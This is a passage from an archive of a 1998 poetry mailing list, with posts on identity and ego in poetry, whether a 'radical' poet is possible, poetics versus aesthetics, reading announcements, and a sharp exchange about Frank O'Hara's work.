> *Who would you consider a smart young language influenced poet writing about identity? What do you mean by identity? Some language poetry seems to be about identity too or at least the "problem" of identity?*

I was never quite sure what all this "problem" of identity stuff was about either, not quite buying the whole "social construction of the self" thing. But someone on this list once quoted Creeley as saying that a certain poet (does anyone

remember who he was talking about?) dealt with "the crisis of self", and then I read Julian Jaynes and things started to fall into place.

Yes, to talk of "obsessively writing about their identity crisis" does sound a little dismissive. To me, the notion of "selfhood", as problematic as it is, is central to the human experience. That vital, fearful schism of self from not-self is something that most of us hold dear, while yearning to break down the barriers. Selfhood is a castle and a prison.

> *A few days ago my neighbor set up an electric dog fence in his yard,*
> *and as I watched his poor, bewildered animal leap and yelp and pace*
> *and growl, it occurred to me that invisible dog fences might be*
> *analogous to any "radical" author's legal name. Eventually,*
> *the dog lay down and slept. Today (ah, beautiful spring, blossoms*
> *abounding), he barks and bares his teeth, and everyone is safe.*

Writing that appears not to be from a unified self, as interesting as it often is, can be read as even more ego-centric than writing peppered with "I"s, "You"s and other personal pronouns. At least the latter is qualifying the utterances as being specific to the speaking persona (the writer's or otherwise - these are "my" thoughts, feelings, perceptions), whereas the former may be seen as claiming some sort of universality.

These are not meant to be attacks, just observations after trying to write a poem without any personal pronouns. It turned out to be more "personal" (is this different from "self"-centred?) than any of the "I" poems that I'd written. But at the same time, the utterances "from the blue" seemed almost presumptuous.

Tom Beard.

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228. Tim Wood
Re: poetics/aesthetics
Mon 11 May 1998

Well, the sarcastic answer is that literary criticism is a way to disguise a political and philisophical agenda (Derida would be a prime example) as aesthetics. The literature enters in because it's so easy to take writers out of context to put your words in their mouths. Like I said, the sarcastic answer <grin>.

Tim Wood

> *What's the difference between poetics and aesthetics?*

<snip>

> *So: what's the difference between aesthetics and literary criticism?*

_____ Negations
http://www.datawranglers.com/negations/

Negations: an interdisciplinary journal of social criticism

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229. **Tim Wood**
Re: Superflux query
Mon 11 May 1998

Hoa Nguyen (at least the one I know) is based out of Austin, Texas. Her email is [redacted]

Someone is reputed to have said

> *Does anyone have email addresses for Leslie Davis or Hoa Nguyen? Or do you know anything about Superflux (are there other editors?)*
>
> *thx.*

_____ Tim Wood
http://www.datawranglers.com/

The Data Wranglers: making your information look good

↑ Index

230. **Keston Sutherland**
Re: poetics/aesthetics
Mon 11 May 1998

>...literary criticism is a way to disguise a political and philisophical agenda (Derrida would be a prime example) as aesthetics.

I'd say the reverse re: Derrida..

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231. **joel lewis**
f.y.i.
Mon 11 May 1998

*** I'd hate to see the welcome wagon: Imagine you're about to move into your half-million-dollar dream home in a plush Denver suburb that you know as Cherry Hills Village. Then, you see that the sales contract includes the full name of the development, and it isn't Cherry Hills. You then ask the real estate agent to tear up the contract. That's what happened when Bill Weinberger was set to buy a $497,000 house -- in Swastika Acres 2. "I told them not only no, but hell no," voiced Weinberger, a Denver businessman who is Jewish. The

agent tried to explain that the property records date back to a corporation called the Denver Swastika Land Co., founded in 1908, well before before the Nazi Party was founded and adopted the swastika as their logo. Weinberger felt that if the residents hadn't yet petitioned to change the name, they must be anti-Semitic. Saul Rosenthal, regional director of the Anti-Defamation League office in Denver, noted that complaints about Swastika Acres seem to hit his desk every few years. But because this coincidence isn't an example of intentional bigotry, he doesn't see it as a "substantial issue facing our community." An ancient symbol of the Chinese, Asian Indians, Greeks, and Scandinavians, the swastika has been found on coins, pottery, and other artifacts, and even in the catacombs of early Christians. Some Native American tribes also viewed the swastika design as a symbol of infinity. Nonetheless, Weinberger is looking elsewhere.

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232. **Burt Kimmelman**
Re: poetics/aesthetics
Mon 11 May 1998

---

this may be old hat, but let me nevertheless say that for me Heidegger's book Poetry Language Thought sorts out this issue admirably.

burt kimmelman

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233. **Gary Sullivan**
Re: "radical"
Mon 11 May 1998

Thanks everyone for the diverse and well-considered responses. You've given me much to consider.

I do want to address Judy Roitman's post, and say that, I agree, though their writing appears prior to the time-frame I was thinking of, Creeley, Eigner and Niedecker all share, especially Eigner and Niedecker, an appreciation of subsistence that is made palpably manifest in their work. That's as radical, or maybe more significantly, as generative, a critique of capitalism as there is. As Maria Damon knows, I ultimately consider the life, ideas & work of Amy Dacyczyn more generative than those of Chomsky or Nader. (Which is not to say I don't find either Chomsky or Nader of great value, too.)

Judy also mentioned Susan Howe and Mei-Mei Berssenbrugge, who are more or less of the time period I was thinking of. With Susan Howe, I don't find that same appreciation of subsistence in her writing; I find what I'd call the

manifestation of academic middle class anxiety. By "academic" I mean not situated due present. By "middle class" I mean a preoccupation with property, equity, possession, representation. By "anxiety" I mean surface agitation causally related to unslaked desire. There's also something of the tour-guide about her presentation of work. Her project, for me, its value notwithstanding, strikes me as a pure product of capitalism. I can appreciate it & maybe even use it, but only with that caveat.

Linda Russo really addressed what I was questioning: Is it possible, in the context of the immediate present, to be a "radical poet"? I mean, everyone addressed it, I guess, but I think Linda articulated it in a way that for me felt most accurate. It's not a question that I feel can be answered at the moment, but I keep coming back to it.

I like Duncan McNaughton's work. I love John Wieners's. Also Victor Coleman's. I think the latter's is undervalued in this country.

Did anyone mention Jeff Conant? I know of very, very few American poets I wouldn't be embarrassed to call "fearless." He's one of them.

I don't see any poet or school as "the enemy," so, as to "obvious poets to absorb" from among the "cast-out, false poetries" -- I like this idea. I also like Heraclitus's, that nature loves to hide. So, rather than Hass, I'm going to spend some time looking into the life & work d.a. levy. Anyone with tips (I already know about the Ghost Pony Press collection), please send along.

Henry Gould, as always, your responses are brilliant, & make me smile. Which is not to say that I necessarily agree with you, but that I appreciate what you say, how you say.

Thanks again, everyone,

Peace,

Gary Sullivan

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234. Pritchett,Patrick

Re: Para/garay anyone?

Mon 11 May 1998

Looking for a back issue of English journal Paragraph: Journal of Modern Critical Thought from 1986. Specifically, essay by Irigaray - "Women, the Sacred and Money," from Vol 8, 1986.

Does anyone know if this has been collected someplace? Thanks. Backchannel only.

Patrick Pritchett

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235. Judy Roitman
Re: also Re: "radical"
Mon 11 May 1998

Linda Russo wrote:

> *thanks, judy, for making the distinction, esp. since i wasn't trying to make a point re: egolessness except to point out how i saw gary reading & discussing the particular quote*
>
> *i'm with judy -- i read it in the sense of not having a "big ego" -- of being able to engage in poetry not for oneself (selfishly) or one's career, but for poetry -- though a notable (and possibly volatile) exception would be Pound, who (at one point or another, but not ultimately?) made accomplishments in all three (selfishness, careerism, poetry)*

But I wasn't talking about how anyone is in life (selfless, careerist, etc.) but whether their _poems_ were "about" self or not. That's all. One could presumably be totally careerist and a real shit-head, but write absolutely luminous and transparent poetry.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

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236. Christopher Reiner
new announcments at litpress.com
Mon 11 May 1998

There are a lot of new publication announcements from various presses on the LITPRESS.COM site, as of last night. Most of them have been posted to this list, but you might want to check it out anyway.

Also, selections from the latest RHIZOME have been posted, including work by George Albon, Laynie Browne, Norma Cole, Jacques Debrot, Martha Ronk, and Joe Ross.

The address is

http://www.litpress.com

LITPRESS.COM regularly posts announcements of new publications of innovative contemporary poetry and prose. To submit an announcement, contact Chris Reiner at

[redacted]

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237. KENT JOHNSON
Re: The neighbor's dog fence
Mon 11 May 1998

On May 10, J. Fuhrman wrote:

> *Kent- fascinating post--*
> *Who would you consider a smart young language influenced poet writing about identity? What do you mean by identity? Some language poetry seems to be about identity too or at least the "problem" of identity?*

What I meant by "identity crisis" is the broader relationship between a group of younger, "innovative" writers and the older Language poets. The tensions in that relationship seem to provoke a sense of anxiety for some of the writers in the younger group, to the point of its having become the object of some strong critical reflection by people like Mark Wallace, Steve Evans, and others. (Though there is clearly a good deal of anxiety among the old-guard as well about the fate of their once triumphalist project.)

The anxiety and identity crisis stems, as I see it, from the fact that a project that was once nourished by a strong sense of radical, political commitment has spawned, as closest offspring, a fundamentally aestheticist and career-driven poetic community that bears little trace of the father's youthful oppositionality. (The father, now tenured and comfortable, hopes his child will one day become more serious.)

In my previous post I alluded to the author function as being the drive-shaft that makes such institutionalization and commodification quite natural and inevitable. An old argument, to be sure, but one that few want to consider, I think, because of its broader implications.

Has anyone seen the movie "Hype"? It is about the grunge scene in Seattle and is probably the best cinematic illustration of Peter Burger's _Theory of the Avant-Garde_ that there has ever been.

Kent

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238. Gary Sullivan
value
Mon 11 May 1998

> *you might want*
> *to begin with the AERIAL issue devoted to Andrews -- otherwise, the value,*
> *"in general," as you say, is its radicality. Do you agree? If not, what is*
> *the value?*

I can't, literally, afford the Aerial Andrews issue, though I'll try to get it through interlibrary loan. For me, the value of Andrews's writing is not its radicality. What I find generative (as well as pleasurable) is the intensity, or rigour, of its focus. His consistent attendance to, and exploration of, that.

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239. joel lewis
poetry reading
Mon 11 May 1998

READING AT POETRY CITY

Joel Lewis
&
Tim Griffin

May 28
7pm

TEACHERS & WRITERS COLLABORATIVE
5 Union Square West, 7th Floor

Free

info- 212/[redacted]

[redacted]

↑ Index

240. dbkk
Bellamy/Gluck at SPT
Mon 11 May 1998

Small Press Traffic presents

Dodie Bellamy
Robert Gluck

Friday, May 15, 7:30 p.m.
New College Theater
777 Valencia Street, San Francisco
$5

Dodie Bellamy is celebrating the publication of her new "novel," The Letters of Mina Harker (Hard Press, 1998), which Joan Retallack has described as an "epistolary novel, a bestiaire d'amour, a hyper-para-transgeneric, complex realist exploded vampire cartoon of very touching hi-lo life-death saturated intelligence, sex, humor, philosophy, history, literature, mass culture." Dodie Bellamy is also the author of Feminine Hijinx (Hanuman, 1990) and Real: The Letters of Mina Harker and Sam D'Allesandro (Talisman House, 1995), as well as three chapbooks. She is the director of Small Press Traffic Literary Arts Center.

Robert Gluck is the author of several books of poetry, including Reader; a book of stories, Elements of a Coffee Service; and two celebrated novels, Jack the Modernist and Margery Kempe. When one tries to describe Gluck's lapidary, sexy, smart hyperfictions, one finds oneself overcome by a strange Tourette's Syndrome of superlatives. "Brilliant--squawk! Superb--squawk! A beloved teacher and friend--awk! Top ten postmodern writer--squawk!" Longtime board member of Small Press Traffic, Gluck was one of its founders way back in the mid seventies, and the former director of the Poetry Center at San Francisco State.

↑ Index

241. Peter Quartermain
AERIAL Andrews issue
Mon 11 May 1998

At 01:52 PM 5/11/98 -0400, Gary Sul;livan wrote:

> *I can't, literally, afford the Aerial Andrews issue, though I'll try to get it*

Good luck! I don't think it's been published yet, has it?
+ +
Peter Quartermain

846 Keefer Street
Vancouver
B.C.
Canada V6A 1Y7
Voice : [redacted]
Fax: [redacted]

+ + + +

administration advanced "limited warfare" to greater specificity, making it seem more controllable, manageable, and therefore desirable as foreign policy." --- "'The refugee advisor went out all over the province largely to areas where there'd been battles. He would assess the value of the people's destroyed houses and dead livestock and pay people off. For example, an adult civilian over 15 years old who was killed was worth $35 to their family; a child under 15 was worth $14.40. The United States government paid people off for their dead children, or their dead husbands and wives, or whatever, at the rate of $35 or $15, depending on their age.'"---excerpts from The Perfect War:Technowar in Vietnam by James William Gibson "The whole history of modern science proves to be a process of progressive emancipation from our innate classification of the external stimuli till in the end they completely disappear so that "physical science has now reached a stage of development that renders it impossible to express observable occurrences in language appropriate to what is perceived by our senses. The only appropriate language is that of mathematics," i.e., the discipline developed to describe complexes of relationships between elements which have no attributes except these relations."---F.A. Hayek, The Counter-Revolution of Science---cp

↑ Index

244. **izak**
"surrender intentionality"
Mon 11 May 1998

---

what does the term "surrender intentionality" mean in regards to poetics? -joanna

****

"the misfit massacres the mustang pony just to feel the soft rise of marilyn monroe against his chest" -Patti Smith
****

↑ Index

245. **joel lewis**
f.y.i.
Mon 11 May 1998

*** Court rules against use of Elvis name

In a decision that limits the parody defense in trademark infringement cases, an appeals court has ruled against a Texas restaurant that was being sued for calling itself "The Velvet Elvis." The decision by the U.S. Fifth Circuit Court of Appeals reversed a lower court ruling which had held that "Velvet Elvis" did not infringe trademarks held by the Presley estate. The case was brought by Elvis

Presley Enterprises, which owns all trademarks and publicity rights belonging to the Presley estate. It sought to prevent a Houston bar, which featured velvet paintings of Elvis, a frozen drink called "Love Me Blenders" and a hot dog named "Your Football Hound Dog," from calling itself "The Velvet Elvis." See http://www.infobeat.com/stories/cgi/story.cgi?id=2554094869-ba9

*** NBC, Attenborough plan Bible miniseries

In what could be the most expensive miniseries ever launched for broadcast TV, NBC is planning a 12-hour epic called "The Bible," with Richard Attenborough executive producing. Details of the project are in the discussion stage, but Attenborough will be heavily involved in the creative aspects and is expected to star in and direct some of the two-hour installments. "The Bible" will feature stories of the Old Testament and will culminate with the birth of Jesus Christ. The estimated budget could go as high as $150 million, which is more than double the cost of any previous TV miniseries. See http://www.infobeat.com/stories/cgi/story.cgi?id=2554093850-df6

*** Thai snake man emerges from week-long stunt

A Thai farmer completed a potentially deadly stunt on Monday after a week locked up with scores of deadly snakes in a Bangkok shopping centre. Boonreung Buachan, 27, from north eastern Si Saket province had spent the previous 168 hours confined in a small glass-walled room with 100 cobras and 10 venomous centipedes. Boonreung, who was not paid for his efforts, spent much of his captivity playing with the creatures, calmly watching television from a bed as the snakes writhed among the sheets, or urging curious shoppers to join him. See http://www.infobeat.com/stories/cgi/story.cgi?id=2554093411-142

↑ Index

246. linda russo
call for admissions
Mon 11 May 1998

---

for an essay on post-Modern (which in this context means post _Floating Bear_) women-edited presses & journals (including ezines)

I think I've covered all the biggies, but everytime i turn around another one's [present progressive verb]

would anyone out there like to admit to knowing of one, taking part in one, having thoughts about one, or ever having had done any of the above?

ANY info is appreciated; email addresses for editors are nice, to look busy or popular. Or even send any old copies you have sitting

around:
160 South 13th East #16
Salt Lake City, UT 84102

"admission" is not to be taken as a sign of guilt. I just don't want anyone submitting to me right now. I recently got a longish poem returned to me saying "we don't want to submit to this right now"

also feel free to forward this widely.

↑ Index

247. Alan Myouka Sondheim
Nikuko's doing stuff
Mon 11 May 1998

-

Nikuko probes what they're doing on Panix at the moment:

elm emacs -tcsh /usr/local/experimental/bin/strn /usr/local/bin/vim trn -zsh -zsh -tcsh /usr/local/bin/emacs /usr/local/bin/pine sleep -ksh pine more nn pine -tcsh -tcsh -zsh default.html /ne pine -tcsh lynx PCPU -ksh -tcsh -tcsh -tcsh /usr/local/bin/pine /usr/local/experimental/bin/emac nn trn elm elm emacs w /usr/local/bin/zsh /usr/ucb/more ./tt++ ./tt++ -psh pine pine -psh slrn backgammon /usr/local/experimental/bin/nn -tcsh -tcsh elm -tcsh vim /usr/local/bin/emacs19/emacs

Nikuko probes their bodies too:

rcliff lk eck mc rsood shabbir bsd tango samsara mc eloo lrudolph hkaplan gaillard tbyfield topaz vilardi nepsa osc pirmann sethb sondheim vernonw lent stern routny stain brodie tomicus wendy aqn smith aronson smeyer yodave bcousins carter sal tim firoozye jlerner eck goldrich gtc ybmcu jposhea3 mef wlm wagneric teej slavery andrewk fjelstad ficara bneuman

Nikuko!

↑ Index

248. MAYHEW
Re: FYI
Mon 11 May 1998

People likely to sue me (if parody is no defense against copyright/trademark infringement):

John Ashbery, Robert Creeley, Elvis, Mickey Mouse, Kenneth Koch [the entire New York School of poetry in fact], William Carlos Williams (estate of), Louise Gluck, Ranier Maria Rilke, Pierre Reverdy, William Shakespeare, W.S. Merwin, Jose Lezama Lima, Isidore Ducasse, Federico Garcia Lorca, Theodore Geisel, Henry Gould, Morpheal, James Wright, Robert Bly, Leslie Scalapino...[a partial list]

Some of these authors in the public domain, or have a forgiving nature, so I am not too worried...

Jonathan

↑ Index

249. Peter Ganick

Re: british experimentalism

Mon 11 May 1998

Maria Damon (Maria Damon) wrote:
>
> hi guyzies, is there a book of contemporary experimental british poetry
> that is "multicultural" and not only women? maria d

how about adrien clarke and robert sheppard's
'floating capital' published by potes & poets,
which, although not multicultural, features
experimental or language-poetry-influenced writers
like cris cheek, maggie sullivan, etc?...

peter ganick
[redacted]

↑ Index

250. linda russo

*p.s. **call for submissions***

Mon 11 May 1998

---

p.s.

  * @ * % * & * # *

  with only the sound of the mimeograph "kachunking"
  and the pages swishing down . . . (Maureen Owen)

↑ Index

251. **hen**
Re: FYI
Mon 11 May 1998

why would I sue you? I only go after the big fish!! - Henry "Catfish" Gould

↑ Index

252. **Maria Damon**
Re: british experimentalism
Mon 11 May 1998

thanks; i'm looking for a book --anthology, yes --that i can order for a class. this looks out of print/dubious from what you say.

At 5:19 PM -0600 5/11/98, Keith Tuma wrote:
>>hi guyzies, is there a book of contemporary experimental british poetry
>>that is "multicultural" and not only women? maria d
>
>
>Guessing that this means anthologies and that one that might fit the bill
>is Allnut, D'Aguiar, Edwards, Mottram, eds., _The New British Poetry_
>(Paladin, 1988). Not altogether satisfying but worth a look, if you can
>find it.
>
>KT

↑ Index

253. **Keith Tuma**
Re: british experimentalism
Mon 11 May 1998

> *hi guyzies, is there a book of contemporary experimental british poetry*
> *that is "multicultural" and not only women? maria d*

Guessing that this means anthologies and that one that might fit the bill is Allnut, D'Aguiar, Edwards, Mottram, eds., _The New British Poetry_ (Paladin, 1988). Not altogether satisfying but worth a look, if you can find it.

KT

↑ Index

254. Karen Kelley
Re: The neighbor's dog fence
Mon 11 May 1998

> *Writing that appears not to be from a unified self, as interesting as it often is, can be read as even more ego-centric than writing peppered with "I"s, "You"s and other personal pronouns. At least the latter is qualifying the utterances as being specific to the speaking persona (the writer's or otherwise - these are "my" thoughts, feelings, perceptions), whereas the former may be seen as claiming some sort of universality*

Well, the first sentence of this paragraph made me happy. But hey, wait a minute there in the second sentence: "I" and "you" can function as loci in the poem, points of consciousness that connect the nouns and verbs (oh, okay--and tha adjectives). But why, when we realize that nouns can be more than nouns and verbs more than verbs and syntax more than syntax (alright, I'm reaching), but WHY must pronouns always be personalized?

And yes, the elision of pronouns in the interest of universality has always struck me as the height of egocentrism.

But really, what's up with this pronoun problem?

↑ Index

255. Rachel Loden
Re: radical
Mon 11 May 1998

> *Emily Dickinson is another example. In life she certainly seems to have set out some very well-defined parameters, but even thougth first person pronouns & possessives appear a lot in her poetry (unlike in Eigner's, where they almost never appear) there is a marked absence of personal particularities.*

What's a "personal particularity"? I hope it's not a quirk, or a peculiarity, or even the sort of peccadillo that makes the work of David Bromige or Rodney Dangerfield more interesting (to me anyway) than the limpid productions of any number of spiritual athletes.

I hope it's not what enables Ron Padgett to write lines like

Seriously I have this mental (smuh!) illness

which causes me to do things

because such "personal" or personist nerviness (as distinguished from a plodding confessionalism) is, I think, the engine of poetry.

> *As for absence of ego being a desirable end, see almost any religion.*

This will probably cause me to be pelted by many ego-free tomatoes, but in the small unscientific sample which is my life the drumbeat for "egolessness" or its postmodern equivalents is usually accompanied by dizzying levels of arrogance, narcissism, and a sort of missionary humorlessness. Thanks, but I'll always take the perfectly modulated dysfunction of a Richard Pryor or a Frank O'Hara or a Madeline Kahn over any sort of sanitized enlightenment.

Rachel Loden

↑ Index

256. toddbaron
Re: Bellamy/Gluck at SPT
Mon 11 May 1998

BOY
I wish I could be at Dodies and Robert's
READING.

Hello and
I'm still very intereested in reading at NEW C. (neuc?) as alum.
Pass on th word to Dodie
or if you would,
you
self.

love

Toddb

↑ Index

257. Alan Myouka Sondheim
forgive this intrusion stupid Nikuko wants to live
Mon 11 May 1998

---

and make sense this is the best she can do, I'm stupid Nikuko

Inari

A UN A
UN A UN

I wanm mo make a mexm mhis mexm
and subsmimume one lemmer for anomher, begin
mhe process of subsmimumion, says I, Daishin Nikuko.
Soon, mhe mexm will become anomher,
and mhis new mexm will be mhe one mham saves me;
mhis new mexm will be mhe one I murmur in my sleep;

mhis new mexm will be mhe final mexm.
So I begin looking for mhe sense in mhe mexm
which is nom yem wrimmen, bum which appears
wimhin and mhrough mhe mosm serious game of subsmimions
because I wanm mo save myself, because I am gemming mired
and mhink of dying consmanmly, because I need mhis magic,
mhis incanmamion, so mham I, Daishin Nikuko, can conminue
jusm anomher day of omher.

A UN A
UN A UN

↑ Index

258. Dan or Orion Raphael Dlugonski

also also re: radical / ego

Tue 12 May 1998

i felt early in my writing that my job as writer/editor was/is to take me out of the poems. i cant just sit down and write, the words have to come, and i see myself as a vehicle. am aware i wont be a pure flute, that the bumps and worries and whorls in me help make me this instrument. at the same time, 'i' (& yes lower-case) is about the only pronoun i use, since who else can i speak for. this i is way flesxible, ranging from the personal to the mythic, usually slipping into a beat-elemental persona.>

↑ Index

259. Robert Archambeau

USC position in poetics

Tue 12 May 1998

I suppose there's some irony in posting this right after Mark's note about careerism, but this could be a real opportunity for someone on the list (I have no connection with USC, this is from the Chronicle of Higher Ed):

> *English: Assistant Professor in Poetry and Poetics, twentieth-century American literature and culture. Experience in interdisciplinary studies, gender and ethnic studies, especially Jewish American studies, desirable. Strong publication and teaching required. Start date: September, 1999. Candidates should submit a letter of interest and a curriculum vitae by November 6, 1998 to: Teresa McKenna, Chair, Department of English, Taper Hall 420, University of Southern California, University Park, Los Angeles, California 90089-0354. USC*

> *encourages applications from minority and women candidates.*
> *Equal Opportunity, Affirmative Action Employer.*

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045

↑ Index

260. Tim Wood
Re: "radical"
Tue 12 May 1998

Someone is reputed to have said

> *Linda Russo really addressed what I was questioning: Is it possible, in the context of the immediate present, to be a "radical poet"? I mean, everyone addressed it, I guess, but I think Linda articulated it in a way that for me felt most accurate. It's not a question that I feel can be answered at the moment, but I keep coming back to it.*

I'll share something that happened (to me) that ties in with whether anyone can be radical, let alone a radical poet. I don't fly very often and recently I had to take a round-trip flight with a stop at the airport in Minneapolis. The entire airport is no-smoking, including the curbside areas (except one area at the extreme end of the airport I stumbled upon on my return trip). Of course, people were lined up smoking in front of the no-smoking signs. The people in suits stood on the other side of the curb looking over at us while they waited for rides/taxis/whatever.

It struck me that the most subversive act available for most people today is smoking in front of a no-smoking sign. Or, because of rising prices, taxes, group pressure, just smoking. It's very reminiscent of Chomsky's writing on the media: so much 'radical' behavior (e.g. smoking) has been put on display in parody or put on display and then discounted that the boundary lines have become in some case unlocatable and in other cases so narrow that being radical, subversive, whatever is a daunting task to say the least. If there are no revolutions in the streets, no movements that show any signs of changing the world and the paradigm, how can poetry be radical except against itself again and again. Or radical/observational in the sense of following the shift paradigm of the status quo and capitalism (and yes I know differentiating the two is problematic).

Tim

---

poetry is an hour
a flash
of sound
bytes
  found
  rescued
  boiled
freed
to rage again

↑ Index

261. **MAYHEW**
Ode to Ron Padgett
Tue 12 May 1998

Ode to Ron Padgett

[from an imaginary textbood]

Permission is granted, but not do do anything you want.
--John Cage

"... which brings us to the category which I will term the 'permission granter,' whose style seems as effortless as it is easily imitated. Anyone could do this, we think, brilliance is within our reach. These permission granters, poets of genius themselves, never intimidate their readers--unlike the 'pure geniuses' discussed in Chapter 4. Putting aside false modesty, I can myself aspire to be a permission granter, as could any reader of this book.

Yet there exists another sort of permission granter whose influence is entirely nefarious. Offering nothing to the ear, the eye, or the mind, he is admired precisely because he gives solace to equally wretched poets, 'nice people who unfortunately write poetry.' This judgment will seem unduly harsh, yet .... "

Jonathan Mayhew

↑ Index

262. **Douglas Barbour**
Re: R on D
Tue 12 May 1998

Now that Rachel has mentioned him (or is that 'menmioned' him?), where is David B in all this talk? I've certainly missed his wit ('wim') in this fascinating thread ('mhread').

==========
==========

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

~~~
~~~

*The overall context is problematic, and a continual pain to live with. But that is just what, from Spicer on through more recent writers, has fueled good poetry projects.

*To quote Jerome McGann. "In these textual moves Spicer, as it were, mortalizes the poetic event, and his manipulations of the physical book are the emblems of a similar humane insurgency typical of the (later) work of contemporary experimental writers. The bookishness of postmodern writing is a form of ironic self-representation. It situates poet and poem firmly in the social, institutional and even the economic heart of things. As a consequence, much of contemporary poetry becomes--in no pejorative sense--a dismal science, the poetry of dies mali, an imagination of writing that knows it inhabits a world ruled by Mammon."

(The Black Riders, p.108)

*The claim here that such strategies situate poetry "firmly in the heart" of things, is an understandable exaggeration. It's precisely that such maneuvers leave poetry still marginalized, that gives the entire enterprise its twist and its demented contours....

*Anyway, thanx to Kent for as usual bringing up important issues.

marginal in @tlanta,
Mark

↑ Index

264. Keston Sutherland
(no subject)
Tue 12 May 1998

Alan, Nikuko, Jennifer, all - you light up my terminal

↑ Index

265. AERIALEDGE
Aerial 9
Tue 12 May 1998

The Andrews issue should be available, at last, in the fall. abt 280 pages of Bruceiana.

↑ Index

266. Gary Sullivan
Leggo my ego
Tue 12 May 1998

Art-product with ego carefully scraped off its face is not wholly possible. The art-product is particular, an instance. The instance itself can be examined as an instance chosen over potential instances.

Dizzying levels of arrogance, narcissism and a sort of missionary humorousness (as opposed to humorlessness) might describe both Pryor's and O'Hara's bodies of work. I have great respect for both, but can't take either in large doses without feeling suffocated. There is something wanting in the range of emotion or outlook in O'Hara's writing: "In Memory of My Feelings" is such a lovely entry into what, in poem after poem I'm disappointed to find to be mostly one or two feelings, as though he's perfectly modulated everything but exuberance, ironic gesture and the occasional maudlin moment out of the picture. To the extent O'Hara's writing proposes a mimesis of human emotional experience (& I don't mean to suggest this to be its real, or only, proposal), I find it to be ultimately very sanitized.

On Monday, May 11, 1998 10:09 PM, Rachel Loden [SMTP:[redacted]] wrote:
> This will probably cause me to be pelted by many ego-free tomatoes, but
> in the small unscientific sample which is my life the drumbeat for
> "egolessness" or its postmodern equivalents is usually accompanied by
> dizzying levels of arrogance, narcissism, and a sort of missionary
> humorlessness. Thanks, but I'll always take the perfectly modulated
> dysfunction of a Richard Pryor or a Frank O'Hara or a Madeline Kahn
> over any sort of sanitized enlightenment.

↑ Index

267. Judy Roitman
Re: The neighbor's dog fence
Tue 12 May 1998

> *But why, when we realize that nouns can be more than nouns and verbs more than verbs and syntax more than syntax*

Syntax always more than syntax. For example:

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area

code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

268. Jordan Davis
"Like Boxes of Shit in Your House? Get a Cat!"
Tue 12 May 1998

Gary?

Can we talk for a second? I know it's been raining for eight months solid here in New York, but which edition of O'Hara have you been reading? I mean I know you _like_ to collapse the complexities you see around you into possibilities for humorous response -- and have you seen The Onion? I think they took your Ask Mrs. Ted Hughes idea, man! Sic em. Anyway I'm wondering if you'd like to borrow, or photocopy from my copy of O'Hara's collected, because it has a few other "feelings" in it, such as hatred, compassion, regret (really!), bemused distrust, self-loathing, self-regard, etc etc. I guess you could think of O'Hara's aoristic standards as somehow always only exuberant, but that would be kind of like thinking the Greeks were always only talking about killing their parents.

Wondering --
Jordan

↑ Index

269. Gary Sullivan
Mediocrity loves company
Tue 12 May 1998

I have & have read O'Hara's _Collected Poems_, his _Love Poems_, _Lunch Poems_, _Second Avenue_, _Meditations in an Emergency_, _Early Writings_, _Selected Plays_, and one other that Grey Fox published, the title of which escapes me at the moment. My response to Rachel's post was a response-in-kind, taking the same general sweeps she made in her dismissal of "egoless, post-modern" writing and seeing what might happen if applied to O'Hara . . . and discovering that there is a way in which it works.

The Mrs. Ted Hughes gag wasn't mine (tho I posted it) nor did the format for the gag originate with its author. Anyway, I love the Onion. "Sic em"? Wow. I don't ferociously attack people, Jordan; that seems to be your way of handling disagreements, if your last post is any indication. I understand completely your disagreeing with me, and welcome well-articulated argument. But, this initial

forray of yours is childish, mean-spirited and I wonder if something more than the words in my post to Rachel have provoked it.

On Tuesday, May 12, 1998 12:04 PM, Jordan Davis [SMTP:[redacted]] wrote:
> Gary?
>
> Can we talk for a second? I know it's been raining for eight months solid
> here in New York, but which edition of O'Hara have you been reading? I
> mean I know you _like_ to collapse the complexities you see around you
> into possibilities for humorous response -- and have you seen The Onion? I
> think they took your Ask Mrs. Ted Hughes idea, man! Sic em. Anyway I'm
> wondering if you'd like to borrow, or photocopy from my copy of O'Hara's
> collected, because it has a few other "feelings" in it, such as hatred,
> compassion, regret (really!), bemused distrust, self-loathing,
> self-regard, etc etc. I guess you could think of O'Hara's aoristic
> standards as somehow always only exuberant, but that would be kind of like
> thinking the Greeks were always only talking about killing their parents.
>
> Wondering --
> Jordan

↑ Index

270. Robert Hale
Re: Mediocrity loves company
Tue 12 May 1998

I don't know, Gary, you slammed me pretty hard last week for my post where I suggested radical elements in B. Andrews' and other work. Considering the nature of my post and my own love of politics, I had no problem with your line of questioning. I wouldn't even call it "ferocious," but considering the gist of your counter-opinion -- that the value of his work lies in it's "focus" "energy" and "intensity" -- perhaps you should turn the bullshit detector on yourself.

Sniping aside, you're on the right track in questioning generalizations.

At 12:37 PM 5/12/98 -0400, you wrote:
>I have & have read O'Hara's _Collected Poems_, his _Love Poems_, _Lunch Poems_,
>_Second Avenue_, _Meditations in an Emergency_, _Early Writings_, _Selected
>Plays_, and one other that Grey Fox published, the title of which escapes me at
>the moment. My response to Rachel's post was a response-in-kind, taking the
>same general sweeps she made in her dismissal of "egoless, post-modern" writing

>and seeing what might happen if applied to O'Hara . . . and discovering that
>there is a way in which it works.
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>the gag originate with its author. Anyway, I love the Onion. "Sic em"? Wow. I
>don't ferociously attack people, Jordan; that seems to be your way of handling
>disagreements, if your last post is any indication. I understand completely
>your disagreeing with me, and welcome well-articulated argument. But, this
>initial forray of yours is childish, mean-spirited and I wonder if something
>more than the words in my post to Rachel have provoked it.
>
>
>On Tuesday, May 12, 1998 12:04 PM, Jordan Davis [SMTP:[redacted]] wrote:
>> Gary?
>>
>> Can we talk for a second? I know it's been raining for eight months solid
>> here in New York, but which edition of O'Hara have you been reading? I
>> mean I know you _like_ to collapse the complexities you see around you
>> into possibilities for humorous response -- and have you seen The Onion? I
>> think they took your Ask Mrs. Ted Hughes idea, man! Sic em. Anyway I'm
